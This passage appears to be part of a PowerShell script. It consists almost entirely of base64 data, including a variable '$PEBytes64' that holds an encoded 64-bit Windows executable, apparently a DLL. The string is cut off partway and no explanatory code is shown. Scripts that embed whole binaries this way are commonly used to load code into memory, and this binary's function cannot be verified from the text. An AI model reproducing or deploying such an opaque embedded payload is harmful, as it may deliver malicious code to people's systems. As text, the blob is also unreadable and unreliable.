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4MFcwajB3MCQxOzGOMZwx1THvMU4yVDIAAABgAQDwAgAAnDPgM+QzKDUsNTA1ODVANUQ1SDVMNaA2pDaoNqw2tDa4Nrw2CDcMNxA3FDcYNxw3IDckNyg3LDcwNzQ3ODc8N0A3RDdIN0w3UDdUN1g3XDdgN2Q3aDdsN3A3dDd4N3w3gDeEN4g3jDeQN5Q3mDecN6A3pDeoN6w3sDe0N7g3vDfAN8Q3yDfMN9A31DfYN9w34DfsN/A39Df0OPg4/DgAOQQ5CDkMORA5FDkYORw5IDkkOSg5LDkwOTQ5ODk8OUA5RDlIOUw5YDl4OZA5qDmsOcA5xDnYOdw54DnkOeg57DnwOfw5CDoMOhA6FDoYOhw6IDokOig6LDowOjQ6ODo8Okg6VDpYOlw6ZDpwOnQ6eDp8OoA6hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6tDq4Orw6wDrEOsg61DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDscOyA7JDsoOyw7MDs0Ozg7PDtAO0Q7SDtMO1A7VDtYO1w7YDtkO2g7bDtwO3Q7eDt8O4A7jDuYO5w7oDukO6g7tDvAO8Q7yDvMO9A71DvYO9w74DvkO+g79DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8SDxMPFg8XDxgPGQ8aDxsPHA8dDx4PHw8gDyEPIg8jDyQPJQ8mDykPDg9QD1EPUg9UD1UPWA9ZD1wPXQ9eD2APYQ9iD2QPZQ9mD2gPaQ9sD20PcA9xD3QPdQ94D3kPfA99D0APgQ+ED4UPiA+JD4wPjQ+OD48PkA+RD5IPkw+UD5UPmA+cD50Png+fD6APoQ+iD6MPpA+lD6YPpw+oD6kPqg+rD6wPrQ+uD68Psg+zD7QPtg+4D7oPvA++D4APwg/ED8YPxw/ID8kPyg/LD8wPzQ/OD88P0A/RD9IP0w/UD9UP1g/XD9gP2Q/aD9sP3A/dD94P4A/iD+QP5g/oD+oP7A/uD/AP8g/0D/YP+A/6D/wP/g/AHABAFQAAAAAMCAwJDAoMCwwMDA0MDgwPDBAMEQwSDBMMFAwVDBYMFwwYDBkMGgwbDBwMHQweDB8MIAwhDCIMIwwkDCUMJgwnDCgMKQwrDCwMLQwADACABgAAADYP+A/5D/sP/A/+D/8PwAAAEACACAAAAAEMAgwEDAUMBwwIDAoMCwwNDA4MFQwWDAAYAIA/AAAABAwFDAwMDAzNDM8M3QzeDOAM6gz5DMgNFw0nDSgNKg00DQMNVA1hDWINZA1sDW0Nbw17DUgNiQ2LDZwNqw26DYkN1g3XDdgN2Q3cDeoN+Q3IDhUOGA4gDiEOIw44DgcOVg5lDnQOQQ6CDoMOhA6FDoYOhw6IDokOig6LDowOjQ6ODqIOow60DrYOgw7FDtIO1A7hDuMOxA8GDxMPFQ8iDyQPMQ8zDz4PPw8AD0EPQg9DD0QPSg9MD1cPWA9ZD1oPWw9cD10PXg9fD2APYQ9iD2MPZA9qD2wPeQ97D1wPng+rD60Pug+8D4kPyw/YD9oP8g/0D8AcAIAXAAAAAQwDDBAMEgwgDC8MPgwSDFQMYQxjDG8Megx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $PEBytes64 = "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